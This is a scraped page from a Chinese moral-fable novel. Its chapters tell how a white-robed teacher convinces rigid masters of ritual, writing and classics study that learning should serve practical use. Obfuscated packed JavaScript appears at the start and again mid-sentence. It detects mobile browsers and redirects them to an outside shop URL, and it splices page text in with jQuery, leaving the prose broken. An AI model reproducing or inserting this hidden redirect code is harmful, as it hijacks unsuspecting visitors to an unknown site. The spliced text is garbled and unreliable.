;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187099|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三刀喜道：“那咱们坊射、御两门，也能报了！” 张秀才亦道：“书不必工楷，数不必筹算，咱们西街坊有望夺魁！” 各坊教头、账房、猎户、车夫、书者、算者，皆面露喜色。 那人拱手道：“今日重阳，愿列位明艺之用。六艺是艺，艺为人用。莫让虚文碍实用，莫让旧法缚新用。礼乐射御书数，当因时因地因人因事而用，方是成人之道。” 说罢，他戴上斗笠，走下主台。竹叶斗笠在秋阳下泛着金芒，细麻白衣的下摆扫过满地茱萸，不惹尘埃。 赵秉礼对着那背影又一揖，久久不起。 场中众人亦纷纷行礼。 重阳的日光透过梧桐叶，洒在六座高台上。礼台上，两人不再三步一拜，只微笑拱手；乐台上，乐师奏起乡谣，众人和之；射台上，猎户随手开弓，箭箭中靶；御台上，车夫抄近路，车行如飞；书台上，书者挥毫行草，笔走龙蛇；数台上，算者拨弄算珠，噼啪作响。 六艺之道，本在日用。何须古制？ 尾声六艺新谣 次年重阳，锦官城流传开一首新谣： 礼乐射御书数艺，古之六艺今不具。 赵师拘泥古制法，赛会比试成虚文。 白衣先生讲故事，六艺本在用与宜。 礼在敬人不在仪，乐在和众不在谱。 射在中的不在法，御在达地不在规。 书在达意不在体，数在算清不在术。 从此锦官知六艺，因时因地因人用。 有人问那白衣先生姓名，流芳园的老人会说：“那位先生姓艺，名用，字宜之。他教咱们，艺是为人用，用宜则成。” 六艺赛会后来变了——礼比敬人，乐比和众，射比中的，御比达地，书比达意，数比算清。各坊皆可参赛，农夫可射，织妇可书，贩夫可数，车夫可御。六艺不再是士子专有，而成了万民可习之艺。 而那位艺宜之先生，早已走向下一个需要点化的地方。他走过之处，虚文渐消，实用渐显。就如这重阳的风，吹过流芳园，吹过锦官城，吹进千家万户，将那些过于僵硬的古制，轻轻吹散在秋光里。 本章诫世 一、 六艺真义训 - 礼乐射，御书数。古六艺，今不具 - 破解法：习艺者，自问“艺为人用，还是人为艺缚？可因时因地因人因事而用？可拘泥古制，碍其实用？” 二、 六误六正 - 礼之误在“虚仪”——三步一拜，反失敬心 - 乐之误在“古谱”——必依宫商，反失和众 - 射之误在“旧法”——必依五射，反失中的 - 御之误在“陈规”——必依五御，反失达地 - 书之误在“呆体”——必依八法，反失达意 - 数之误在“旧术”——必依九章，反失算清 - 六正：礼在敬人，乐在和众，射在中的，御在达地，书在达意，数在算清。因时因地因人因事而用，方是六艺真义 三、 宜之大道 - 深层隐喻：六艺是艺，艺之用，在成人，在应世。礼是立身，是相敬，非是虚仪；乐是养性，是和众，非是古谱；射是观德，是中的，非是旧法；御是明道，是达地，非是陈规；书是达意，是传情，非是呆体；数是穷理，是算清，非是旧术。若强求全备，强依古制，是以虚文缚实用，以旧法碍新用。真艺是为人用，非为人缚 - 终极指向：世人重古艺，易入歧途：重形轻实，重古轻今。六艺是艺，艺之本在用。用当因时因地因人因事而异，方是成人之道。莫让虚文碍实用，莫让旧法缚新用。古艺是基，今用是道，实用为宜 六艺偈： 锦官重阳赛六艺，赵师拘泥古制法。 礼乐射御书与数，虚文旧法碍实用。 艺宜先生讲故事，六艺本在用与宜。 从此礼敬乐和众，射中御达书意数清。 后世叹： 礼乐射御书数艺，古之六艺今不具。 赵师重古轻今用，赛会比试成虚文。 白衣点化用为宜，六艺在人不拘古。 重阳流芳听故事，锦官艺道得真知。 正是： 重阳流芳赛六艺，赵师拘古轻实用。 礼乐射御皆虚文，书数旧法碍事功。 白衣先生讲故事，六艺本在宜与用。 从此赛会重实效，锦官六艺入民生。 111.书学谳 楔子·上巳书会 三月初三上巳节，淮扬城中正有“书学大集”。这大集设在东门“翰墨街”，自辰时起，街上便摆满了书摊，卖的有《说文解字》《尔雅》《玉篇》等字书，也有《千字文》《百家姓》《三字经》等蒙书。街心搭了个高台，台前挂着“识字明理”四个大字，是城中“书学会”会长孟守经的手笔。 孟守经年过花甲，穿一袭洗得发白的蓝布长衫，坐在台上宣讲： “……惟书学，人共遵。既识字，讲说文。有古文，大小篆。隶草继，不可乱。此乃识字之本！凡识字，必先明六书：象形、指事、会意、形声、转注、假借。不明六书，不得谓识字！既明六书，乃可讲《说文》，识古文、大篆、小篆，知隶书、草书之变。此乃学问根基，不可不严！” 台下多是带着孩童来买蒙书的父母，也有几个在街边代写书信的落魄书生。卖炊饼的刘大郎牵着儿子阿毛，低声道：“孟先生说得是。阿毛开蒙，得先学六书，再认字，不然就是瞎认。” 邻旁卖菜的孙二嫂撇嘴道：“哪有这般麻烦？咱们庄稼人，识得几个字，会写名字、会算账就行了，还讲什么古文篆隶？” 孟守听见了，提高声音道：“此大谬也！书学乃学问之基，岂可苟且？凡训蒙，须讲究。详训诂，明句读。为学者，必有初。小学终，至四书。若不详训诂，胡乱识字，则根基不牢，日后读《四书》《五经》，必谬误百出！” 他指着街边几个代写书信的书生：“你看那几位，便是幼时识字不严，训诂不明，如今只会代人写信，学问上一事无成。可叹！可叹！” 那几个书生面红耳赤，低头不语。 这时，翰墨街尽头的老槐树下，传来一个温和的声音：“孟先生此言，未免苛严了。” 众人望去，见一人倚树而立。斗笠是细竹与柳条混编，檐边垂着几缕兰草。白衣是粗麻所制，洗得发白，袖口有两块靛青补丁。腰间悬一柄木剑，剑穗是褪色的五色丝绦。面上蒙着本色棉纱，只露出一双明澈如静水的眼睛。 孟守经眉头微皱：“这位先生，何处苛严？” 那人缓步走到高台下，对众人略一拱手：“惟书学，人共遵。既识字，讲说文。有古文，大小篆。隶草继，不可乱。此话不错。然孟先生说‘不明六书，不得谓识字’、‘不详训诂，胡乱识字，则根基不牢’，却是苛严了。” “苛严？”孟守经不悦，“识字乃学问根基，岂可不严？” “识字是学，学之用，在明理，在应事。”那人声音平和，“农人识字，为记账、看契；工匠识字，为看图、记工；妇人识字，为记账、读信；商贩识字，为算账、立约。彼等识字，明其用即可，何必必明六书？何必必讲《说文》？何必必识古文篆隶？” 他环视众人：“孟先生说‘凡训蒙，须讲究。详训诂，明句读’。然训蒙是教孩童，孩童天性，喜简厌繁。若开蒙便教六书、训诂，孩童生畏，反失学趣。不如先教常用字，使其能读能写，明日常用。待其年长，若有志于学，再教六书、训诂不迟。强求孩童必明六书，必详训诂，是以繁文缚童心，非是明师所为。” 孟守经面色一沉：“你这是妄解书学！《说文解字》序云：‘盖文字者，经艺之本，王政之始。’” “《说文》所言，是言文字之重，非是言学法之固。”那人道，“我闻古时仓颉造字，本为记事。初造之字，象形指事而已，岂有六书之分？后因用而繁，乃有会意、形声、转注、假借。是先用后法，非先法后用。又闻古时乡塾教蒙，先教《急就篇》《凡将篇》，皆是常用字，待孩童识得数百字，再教六书。是先用后理，非先理后用。学是为人所用，非人为学所缚。若以六书为铁则，强求必明，强求必详，是以繁文废实用，非是古人本意。” 他走到一个书摊前，拿起一本《千字文》，对众人道：“今日上巳，我给大家讲几个故事。” 一、 农人识字的故亊 “先说农人识字。”那人翻开《千字文》。 “东村有老农，姓陈，目不识丁。其子入城学徒，寄信回家，老农需请人读信。后老农发愤，向村塾先生求学。先生欲先教六书，老农曰：‘我但欲识字，能读子信，能记账目足矣。’先生遂教常用字。三月，老农能读子信，能记账目。又三年，老农自学，竟能读《农书》，改良田法，收成倍之。村人问：‘你未学六书，如何能读《农书》？’老农笑曰：‘字之用，在明理。既明常用字，遇生字，查《字汇》即可，何必先学六书？’” 他看向孟守经：“农人识字，为用而已。能读信记账，能读《农书》改良田法，便是识字。何必必明六书？” 二、 工匠识字的故亊 “再说工匠识字。”那人又拿起一本《百家姓》。 “西街有木匠李师傅，只识得自家姓氏与数字。后接大活，需看图纸。图纸上有字，李师傅不识，误了工期。遂向街边代写书信的书生求学。书生欲先教训诂，李师傅曰：‘我但欲识字，能看图识字足矣。’书生遂教图纸常用字。两月，李师傅能看图纸。后自学，竟能读《营造法式》，技艺大进。同行问：‘你未学训诂，如何能读《营造法式》？’李师傅笑曰：‘字之用，在应事。既明图纸字，遇生字，问人即可，何必先学训诂？’” 他看向那几个代写书信的书生：“工匠识字，为用而已。能看图纸，能读工艺书，便是识字。何必必详训诂？” 三、 妇人识字的故亊 “三说妇人识字。”那人取过一本《三字经》。 “南巷有王寡妇，织布为生，一字不识。其子入学，需签字据，王寡妇只能按手印，常受欺。后发愤，向邻家绣娘求学。绣娘欲先教《说文》，王寡妇曰：‘我但欲识字，能签字据，能看布价单足矣。’绣娘遂教日常用字。四月，王寡妇能签字据，能看布价单。后自学，竟能读《织经》，改良织法，所织之布，质佳价廉。邻妇问：‘你未学《说文》，如何能读《织经》？’王寡妇笑曰：‘字之用，在自立。既明日常字，遇生字，查《字汇》即可，何必先学《说文》？’” 他看向孙二嫂：“妇人识字，为用而已。能签字据，能看价单，能读工艺书，便是识字。何必必讲《说文》？” 四、 商贩识字的故亊 “四说商贩识字。”那人放下《三字经》。 “北市有贩枣老赵，只识得数字与‘枣’字。后贩枣至外乡，需立契约，老赵不识字，吃了大亏。遂发愤，向账房先生求学。账房欲先教古文篆隶，老赵曰：‘我但欲识字，能看契约，能算账目足矣。’账房遂教契约常用字。三月，老赵能看契约，能算账目。后自学，竟能读《货殖列传》，生意愈大。同行问：‘你未学古文篆隶，如何能读《货殖列传》？’老赵笑曰：‘字之用，在明约算账。既明契约字，遇生字，问人即可，何必先学古文篆隶？’” 他看向街上商贩：“商贩识字，为用而已。能看契约，能算账目，能读商书，便是识字。何必必识古文篆隶？” 五、 孩童开蒙的故亊 “最后说孩童开蒙。”那人走到刘大郎身边，摸了摸阿毛的头。 “城中蒙馆有师徒。师教蒙童，必先六书，详训诂，明句读。童畏其繁，多逃学。后馆中来一新师，先教《千字文》，以歌谣授之。童喜其易，乐学。半年，童识数百字，能读浅近诗文。师再教六书，童因已识字，反易明。三年后，此馆童生，多能文。老生问新师：‘你不先教六书，童生如何能明字理？’新师笑曰：‘童蒙之心，喜简厌繁。先教常用字，使其能读能写，有成就感，乃生学趣。待其识数百字，再教字理，如水到渠成。若开蒙即教六书训诂，童畏其难，恐终身厌学。’” 他看向孟守经：“孟先生，训蒙是引路，非是设障。孩童识字，为读书明理。先教常用字，使其能读能写，乃引其入门。待其入门，再教字理，方是正途。若开蒙即设六书、训诂之障，是阻其入门，非是引路。” 六、 上巳的余韵 五个故事讲完，翰墨街上一片寂静。春风拂过，书页轻翻。 孟守经沉默良久，缓缓起身，对那人深揖一礼：“先生……先生说得是。老朽苛求字理，以繁文缚实用，误人误己。这书学之道，当以用为本，以人为要。识字在明理应事，非在必明六书；训蒙在引路入门，非在详训诂、明句读。” 他转向众人，声音发颤：“从今往后，书学会当重实用，轻繁文。农人识字，能读信记账、读农书即可；工匠识字，能看图识字、读工艺书即可；妇人识字，能签字据、看价单、读女书即可；商贩识字，能看契约、算账目、读商书即可；孩童开蒙，先教常用字，使其能读能写，有学趣，再教字理。如此，方是真书学！” 众人先是一愣，随即哗然。刘大郎喜道：“那阿毛开蒙，不必先学六书了！” 孙二嫂也道：“咱们妇人识字，也不必先学《说文》了！” 那几个代写书信的书生，相视苦笑。其中一人叹道：“早知如此，当年何必苦学六 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从此淮扬知书学，因用而学方是真。 有人问那白衣先生姓名，翰墨街的老人会说：“那位先生姓学，名用，字宜之。他教咱们，学是为人用，用宜则成。” 书学会后来变了——农人来学，教农书常用字；工匠来学，教工艺书常用字；妇人来学，教女书常用字；商贩来学，教商书常用字；孩童开蒙，先教《千字文》《百家姓》，待其识数百字，再教六书训诂。书学不再是士子专有，而成了万民可学之艺。 而那位学宜之先生，早已走向下一个需要点化的地方。他走过之处，繁文渐消，实用渐显。就如这上巳的春风，吹过翰墨街，吹过淮扬城，吹进千家万户，将那些过于苛严的字理，轻轻吹散在书香里。 本章诫世 一、 书学真义训 - 惟书学，人共遵。既识字，讲说文。有古文，大小篆。隶草继，不可乱。若广学，惧其繁。但略说，能知原。凡训蒙，须讲究。详训诂，明句读。为学者，必有初。小学终，至四书 - 破解法：治学者，自问“学为人用，还是人为学缚？可因用而学，因趣而教？可苛求字理，碍其实用？” 二、 五误五正 - 农人之误在“畏难”——以为必明六书方为识字，故不敢学 - 工匠之误在“惧繁”——以为必详训诂方为识字，故不愿学 - 妇人之误在“自轻”——以为必讲《说文》方为识字，故不求学 - 商贩之误在“畏严”——以为必识古文篆隶方为识字，故不想学 - 训蒙之误在“苛严”——开蒙即教六书训诂，童畏其难 - 五正：农人识字为读信记账、读农书；工匠识字为看图识字、读工艺书；妇人识字为签字据、看价单、读女书；商贩识字为看契约、算账目、读商书；孩童开蒙先教常用字，再教字理。因用而学，因趣而教，方是书学真义 三、 宜之大道 - 深层隐喻：书学是学，学之用，在明理，在应事。识字是手段，明理应事是目的。农人识字为农事，工匠识字为工事，妇人识字为家事，商贩识字为商事，孩童识字为读书明理。若以六书训诂为铁则，强求必明，强求必详，是以繁文缚实用，以苛严碍人心。真学是为人用，非为人缚 - 终极指向：世人重字理，易入歧途：重理轻用，重法轻人。书学是学，学之本在用。用当因人因事而异，方是治学之道。莫让繁文碍实用，莫让苛严挫人心。字理是基，实用是道，用宜则成 书学偈： 淮扬上巳说书学，孟师苛严讲字理。 六书训诂为铁则，农工匠妇皆生畏。 学宜先生讲故事，书学本在用与趣。 从此识字为日用，开蒙先易后教理。 后世叹： 惟书学，人共遵。既识字，在日用。 孟师重理轻实用，农工匠妇皆畏难。 白衣点化用为宜，书学在人不苛严。 上巳翰墨听故事，淮扬学风得真传。 正是： 上巳翰墨说书学，孟师苛严轻实用。 六书训诂成枷锁，农工匠妇皆畏途。 白衣先生讲故事，书学本在用与趣。 从此识字为日用，淮扬学风入万家。 112.经学谳 楔子·中秋经会 八月十五中秋夜，临安城中“崇经堂”前广场上，正举办“经学会”。场中搭了六个高台，分别讲论《论语》《孟子》《大学》《中庸》《孝经》《六经》。主台上，坐着“崇经堂”堂主、大儒朱守正，年逾古稀，银髯垂胸，着深青色儒服，正襟危坐。 “……《论语》二十篇，乃孔子门人所记夫子善言，字字珠玑。《孟子》七篇，言道德、说仁义，乃儒学正脉。《大学》乃曾子所述，自修齐至平治，是儒学阶梯。《中庸》乃子思所作，中不偏，庸不易，是儒学心法。《孝经》通晓，再熟《四书》，方可读《六经》——《诗》《书》《易》《礼》《春秋》。此乃为学次第，不可紊乱！” 台下听众多是读书人，也有几个带孩童来“沾文气”的市井百姓。卖糕饼的吴老贵抱着孙子阿宝，悄声对旁人道：“朱堂主说得是。读书就该按这个次序来，先《四书》，后《六经》，一步不能错。” 邻座绸缎庄的账房周先生却摇头道：“哪有这般死板？我幼时先读《诗经》，后读《论语》，不也考了秀才？” 台上朱守正听见了，眉头一皱，提声道：“此大谬也！《四书》乃儒学根基，《六经》乃儒学殿堂。不先通《四书》，遽读《六经》，如登楼不阶，必坠无疑！譬如建屋，不先筑基，遽起梁柱，必倾覆也！” 他指着场中六个高台，肃然道：“今日经学会，便是要正本清源！《论语》台，须先讲‘学而’篇，次讲‘为政’篇，依朱子《集注》逐字讲解，不得紊乱；《孟子》台，须先讲‘梁惠王’篇，次讲‘公孙丑’篇，依赵岐《章句》逐段阐释，不得跳越；《大学》台，须先讲‘三纲领’，次讲‘八条目’，依程子本，不得用古本；《中庸》台，须先讲‘天命’，次讲‘率性’，依朱子《章句》，不得妄解；《孝经》台，须先讲‘开宗明义’，次讲‘天子’章，依唐明皇注，不得用郑注；《六经》台，须先讲《诗经》，次讲《尚书》，依《十三经注疏》，不得淆乱。此乃圣学正脉，一丝一毫错不得！” 众人凛然。这时，场边桂花树下传来一个清朗声音：“朱堂主此言，未免执着了。” 众人望去，见一人倚树而立。斗笠是细竹与桂枝混编，檐边缀着几簇金桂。白衣是细麻所制，洗得发白，肘部有两块靛青补丁。腰间木剑的剑穗，是褪色的五色丝绦打着如意结。面上蒙着本色棉纱，只露出一双明澈如秋月的眼睛。 朱守正面色一沉：“这位先生，何处执着？” 那人缓步走入场中，对众人拱手道：“《论语》二十篇，群弟子记善言。《孟子》七篇止，讲道德，说仁义。作《中庸》，乃孔伋，中不偏，庸不易。作《大学》，乃曾子，自修齐，至平治。《孝经》通，《四书》熟，如《六经》，始可读。《诗》《书》《易》，《礼》《春秋》，号六经，当讲求。此话不错。然朱堂主说‘必先《四书》，后《六经》’、‘必依某注某本，不得紊乱跳越’，却是执着了。” “执着？”朱守正不悦，“圣学自有次第，岂可紊乱？” “学是明理，理在人心。”那人声音平和，“《四书》言修身齐家，《六经》载先王之道，皆是教人明理向善。农人读《论语》‘己所不欲，勿施于人’，可明待人接物之道；读《诗经》‘七月流火，九月授衣’，可知农时天象。何必定要先《四书》后《六经》？工匠读《孟子》‘穷则独善其身’，可明立身之则；读《尚书》‘若作梓材，既勤朴斫’，可知工匠之道。何必拘泥次第？” 他环视众人：“朱堂主说讲经必依某注某本，不得紊乱。然《论语》一句‘学而时习之’，朱注解为‘学而又时时习之’，汉注解为‘学而适时习之’，郑注解为‘学而时时实习之’。三解皆通，何必定依朱注？《孟子》一句‘恻隐之心’，赵岐解为‘怜悯之心’，孙奭解为‘同情之心’，焦循解为‘仁之端也’。三解皆善，何必定依赵注？强求必依某注，是舍本逐末，以注害经。” 朱守正脸色发青：“你这是妄解圣学！朱子《集注》乃圣学正宗，岂容置疑？” “朱子《集注》自是精妙，然非唯一正解。”那人道，“我闻古时孔子教弟子，因材施教。子路勇，教以慎行；冉有谦，教以进取。同是《论语》，所教不同。又闻汉时经学，有今文古文之争，各家各解，皆有所本。学是明理，非是背书；经是载道，非是条文。若强求必依某注，必按某序，是以注疏缚人心，非是圣人本意。” 他走到《论语》台前，拿起一卷《论语》，对众人道：“今日中秋，月圆人聚，我给大家讲几个故事。” 一、 农人读经的故事 “先说农人读经。”那人翻开《论语》。 “东乡有老农，姓田，不识字。其子入城读书，寄回《论语》一册。田老汉请村塾先生教读，先生欲从‘学而’篇讲起，依朱注逐字讲解。田老汉曰：‘我但欲明做人道理，先生但讲易懂的。’先生遂讲‘己所不欲，勿施于人’、‘其身正，不令而行’。田老汉听罢，恍然大悟，待人愈发宽厚，治家愈发公正。后自学，竟能解《诗经·七月》，按节气耕作，收成倍之。村人问：‘你未先通《四书》，如何能解《诗经》？’田老汉笑曰：‘经是道理，道理相通。我先明做人理，再明农时理，有何不可？’” 他看向朱守正：“农人读经，为明理而已。能明做人道理，能明农时道理，便是读经。何必必先《四书》后《六经》？” 二、 工匠读经的故事 “再说工匠读经。”那人又拿起《孟子》。 “西街有石匠郑师傅，略识几字。听人说《孟子》好，借来一读。开卷是‘梁惠王’篇，读不懂。遂翻到‘离娄’篇，见‘离娄之明，公输子之巧’，大喜，因公输子即鲁班，是工匠祖师。从此爱读《孟子》，尤喜‘梓匠轮舆能与人规矩，不能使人巧’等句。后读《尚书》，见‘若作梓材，既勤朴斫’，更明工匠之道。技艺大进，成一方名匠。同行问：‘你未依序读经，如何能进？’郑师傅笑曰：‘经是道理，何处明白，便从何处读。何必定要从头？’” 他看向场中工匠：“工匠读经，为明道而已。能明祖师之道，能明技艺之道，便是读经。何必必依序而读？” 三、 妇人读经的故事 “三说妇人读经。”那人取过《大学》。 “南巷有张寡妇，织绢为生。其子入蒙馆，带回《大学》册子。张寡妇夜织时，听子诵读，尤喜‘修身齐家’之语。遂请教馆师，馆师欲从‘三纲领’讲起，依程子本。张寡妇曰：‘我但欲明修身齐家道理，先生但讲易懂的。’馆师遂讲‘欲治其国者，先齐其家；欲齐其家者，先修其身’。张寡妇听罢，治家愈严，教子愈勤。后自学，竟能解《诗经·葛覃》，按古法染绢，绢色愈佳。邻妇问：‘你未先通《四书》，如何能解《诗经》？’张寡妇笑曰：‘经是道理，道理相通。我先明齐家理，再明织染理，有何不可？’” 他看向场中妇人：“妇人读经，为齐家而已。能明修身齐家道理，能明女工道理，便是读经。何必必依程子本？” 四、 商贩读经的故事 “四说商贩读经。”那人放下《大学》，拿起《中庸》。 “北市有贩茶老钱，粗通文墨。听人说《中庸》讲‘中和’，遂借来一读。开卷是‘天命之谓性’，读不懂。遂翻到中间，见‘君子中庸，小人反中庸’，问人后明白：‘中庸是不偏不倚’。从此经营，不欺不诈，价钱公道，生意愈隆。后读《春秋》，见‘宋人及楚人平’，更明和合之道。行商四方，皆得人和。同行问：‘你未先通《四书》，如何能读《春秋》？’老钱笑曰：‘经是道理，何处有用，便从何处读。何必定要通《四书》？’” 他看向场中商贩：“商贩读经，为行商而已。能明中和之道，能明和合之道，便是读经。何必必先熟《四书》？” 五、 童子开蒙的故事 “最后说童子开蒙。”那人走到吴老贵身边，摸了摸阿宝的头。 “城中有蒙馆两所。甲馆师教蒙童，必先《孝经》，次《四书》，依朱注逐字讲解。童畏其难，多困倦。乙馆师教蒙童，先以《论语》中‘有朋自远方来，不亦乐乎’、‘三人行必有我师’等易懂句教之，童喜其趣。待童有兴趣，再教《孝经》《大学》《中庸》。三年后，乙馆童生，多能文，且明理。甲馆师问乙馆师：‘你不依序而教，童生如何能通？’乙馆师笑曰：‘童蒙之心，喜易畏难。先以易懂句引其趣，待其有兴趣，再教深理，如水到渠成。若开蒙即教深奥，童畏其难，恐终身厌学。’” 他看向朱守正：“朱堂主，教是引路，非是设障。童子读经，为明理向善。先以易懂句引其趣，乃引其入门。待其入门，再教全书，方是正途。若开蒙即教必依某注、必按某序，是阻其入门，非是引路。” 六、 中秋的余晖 五个故事讲完，场中一片寂静。明月当空，桂香浮动。 朱守正沉默良久，缓缓起身，对那人深揖一礼：“先生……先生说得是。老朽执着次序，以注疏缚人心，误人误己。这经学之道，当以明理为本，以人为要。读经在明理向善，非在必依某序；讲经在使人明白，非在必依某注。” 他转向众人，声音发颤：“从今往后，崇经堂当重明理，轻次序。农人读经，可先读易懂句，明做人道理、农时道理；工匠读经，可从有关处读起，明祖师之道、技艺之道；妇人读经，可先读齐家句，明修身齐家道理、女工道理；商贩读经，可先读有用句，明中和之道、和合之道；童子开蒙，先以易懂句引其趣，再教全书。注疏各家，可参酌比较，择善而从。如此，方是真经学！” 众人先是一愣，随即哗然。吴老贵喜道：“那阿宝开蒙，不必先苦读《孝经》了！” 周先生也道：“我等读书，也不必死守朱注了！” 那几个原本正襟危坐的讲经先生，相视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190857|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦笑。其中一人叹道：“早知如此，当年何必死记次序注疏？先明道理，再求深解，岂不更好？” 那人拱手道：“今日中秋，月圆人圆，愿列位明学之道。经学是学，学在明理。莫让次序碍明理，莫让注疏缚人心。读经在明理向善，讲经在使人明白。因材施教，因趣而导，方是治学之道。” 说罢，他戴上斗笠，转身走入人群。桂枝斗笠在月下泛着银光，细麻白衣的下摆扫过满地桂影，不惹尘埃。 朱守正对着那背影又一揖，久久不起。 场中众人亦纷纷行礼。 中秋的明月洒在崇经堂前。六个高台上，讲经先生们不再固守次序：《论语》台从“三人行必有我师”讲起，《孟子》台从“恻隐之心”讲起，《大学》台从“修身齐家”讲起，《中庸》台从“中庸之道”讲起，《孝经》台从“孝悌之至”讲起，《六经》台从《诗经》“关关雎鸠”讲起。听者愈众，时而会心而笑。 经学之道，本在明理。何须执着？ 尾声·经学新谣 次年中秋，临安城流传开一首新谣： 论语孟子大学庸，孝经六经皆载道。 朱师执着次序注，农工匠妇皆生畏。 白衣先生讲故事，经学本在明理善。 农人读经明做人，工匠读经明师道。 妇人读经明齐家，商贩读经明中和。 童子开蒙先引趣，再教全书方是途。 从此临安知经学，因材施教明理真。 有人问那白衣先生姓名，崇经堂的老人会说：“那位先生姓经，名理，字明之。他教咱们，经是载道，道在明理，理在人心。” 崇经堂后来变了——农人来听，讲《论语》待人接物之道、《诗经》农时之道；工匠来听，讲《孟子》祖师之道、《尚书》工匠之道；妇人来听，讲《大学》齐家之道、《诗经》女工之道；商贩来听，讲《中庸》中和之道、《春秋》和合之道；童子开蒙，先以易懂句引趣，再教全书。经学不再是士子专有，而成了万民可明之理。 而那位经明之先生，早已走向下一个需要点化的地方。他走过之处，执着渐消，明理渐显。就如这中秋的明月，照过崇经堂，照过临安城，照进千家万户，将那些过于僵硬的次序，轻轻拂散在清辉里。 本章诫世 一、 经学真义训 - 论语者，二十篇。群弟子，记善言。孟子者，七篇止。讲道德，说仁义。作中庸，乃孔伋。中不偏，庸不易。作大学，乃曾子。自修齐，至平治。孝经通，四书熟。如六经，始可读。诗书易，礼春秋。号六经，当讲求 - 破解法：治经者，自问“学为明理，还是为次序？可因材施教，因趣而导？可执着注疏，碍人明理？” 二、 五误五正 - 农人之误在“畏序”——以为必先《四书》后《六经》，故不敢读 - 工匠之误在“惧注”——以为必依某注某本，故不愿读 - 妇人之误在“轻己”——以为经学深奥，女子不宜，故不求读 - 商贩之误在“畏难”——以为必通《四书》方读《六经》，故不想读 - 训蒙之误在“固序”——开蒙即教必依次序，童畏其难 - 五正：农人读经为明做人道理、农时道理；工匠读经为明祖师之道、技艺之道；妇人读经为明齐家之道、女工之道；商贩读经为明中和之道、和合之道；童子开蒙先以易懂句引趣，再教全书。因材施教，因趣而导，方是经学真义 三、 明之大道 - 深层隐喻：经学是学，学之用，在明理，在向善。《论语》记善言，《孟子》说仁义，《大学》言修齐，《中庸》讲中和，《孝经》通孝悌，《六经》载先王之道，皆是教人明理向善。若强求必依某序，必从某注，是以次序缚人心，以注疏碍明理。真学是明理，非是背书；真经是载道，非是条文 - 终极指向：世人重经学，易入歧途：重序轻理，重注轻道。经学是学，学之本在明理。理当因人因事而异，方是治学之道。莫让次序碍明理，莫让注疏缚人心。经是舟，理是岸，明理方是到岸 经学偈： 临安中秋说经学，朱师执着次序注。 先四书后六经，农工匠妇皆畏途。 经明先生讲故事，经学本在明理善。 从此读经为明理，因材施教趣为先。 后世叹： 论语孟子大学庸，孝经六经皆载道。 朱师重序轻明理，农工匠妇皆生畏。 白衣点化理为要，经学在人不执着。 中秋崇经听故事，临安学风得真传。 正是： 中秋崇经说圣学，朱师执着次序注。 先四书后六经，农工匠妇皆畏途。 白衣先生讲故事，经学本在明理善。 从此读经为日用，临安学风入万家。 113.三易谳 楔子·腊八经市 腊月初八，金陵城西“经市”开张。这经市三年一开，专售古书珍本。街两旁书铺栉比，摊贩云集。有卖《连山》《归藏》残卷的，有售《周易》注疏的，有陈《尚书》典谟训诰的，有列《周礼》《礼记》各版的，有摆《诗经》国风雅颂的。书商呼喝，学者争购，好不热闹。 街心“博古斋”前，设一高台。台上坐着金陵“经学世家”传人、鸿儒郑玄同，年约五旬，戴方巾，着紫袍，正拈须宣讲： “《易》有三：《连山》以艮为首，象山之出云；《归藏》以坤为首，象万物归藏；《周易》以乾为首，象天道周流。此三《易》，包罗万象，非大贤不能通！《书》有六体：典、谟、训、诰、誓、命，文辞古奥，非硕学不能解！《周礼》六官，乃周公治世之法；《礼记》述圣言，乃大小戴传礼之经；《诗经》风雅颂，乃圣人教化之典。此皆圣人之学，不可不精研！” 台下听众多是书生学子，也有几个附庸风雅的富商。绸缎商钱百万挤在人群中，悄问旁人道：“郑先生说的《连山》《归藏》，何处可购？我愿出千金！” 旁座古董商赵掌柜嗤道：“你购去作甚？那《连山》《归藏》早已失传，现下市上所售，多是伪作。便是不伪，你读得懂么？” 台上郑玄同听见，眉头一皱，提声道：“赵掌柜此言差矣！三《易》虽古奥，然有志者事竟成。昔孔子读《易》，韦编三绝；朱子注《易》，皓首穷经。今人但肯用功，何愁不通？至于真伪——我郑家藏有《连山》残卷三篇、《归藏》残卷五篇，乃祖传珍本，岂是伪作？” 他起身，从袖中取出两卷竹简，展开示众：“诸位请看，此乃《连山》首篇‘艮象’，此乃《归藏》首篇‘坤德’，皆用古篆，字字珠玑！此等圣人之学，当焚香沐浴，恭敬诵读，岂可轻言真伪？” 众人伸颈观看，只见竹简古旧，字迹模糊，确似古物。几个老学究啧啧称奇。 这时，街角粥棚下传来一个清越声音：“郑先生此举，未免胶柱了。” 众人望去，见一人坐在粥棚长凳上，正捧着一碗腊八粥。斗笠是细篾与松枝混编，檐边缀着几粒红豆。白衣是粗麻所制，洗得泛黄，膝头有两块靛青补丁。木剑横放膝上，剑穗是褪色的五色丝绦打着平安结。面上蒙着本色棉纱，只露出一双明澈如寒星的眼睛。 郑玄同面色一沉：“这位先生，何处胶柱？” 那人放下粥碗，缓步走到台前，对众人拱手道：“有《连山》，有《归藏》。有《周易》，三《易》详。有典谟，有训诰。有誓命，书之奥。我周公，作《周礼》。著六官，存治体。大小戴，注《礼记》。述圣言，礼乐备。曰国风，曰雅颂。号四诗，当讽咏。此话不错。然郑先生说‘此皆圣人之学，非大贤不能通、非硕学不能解’，却是胶柱了。” 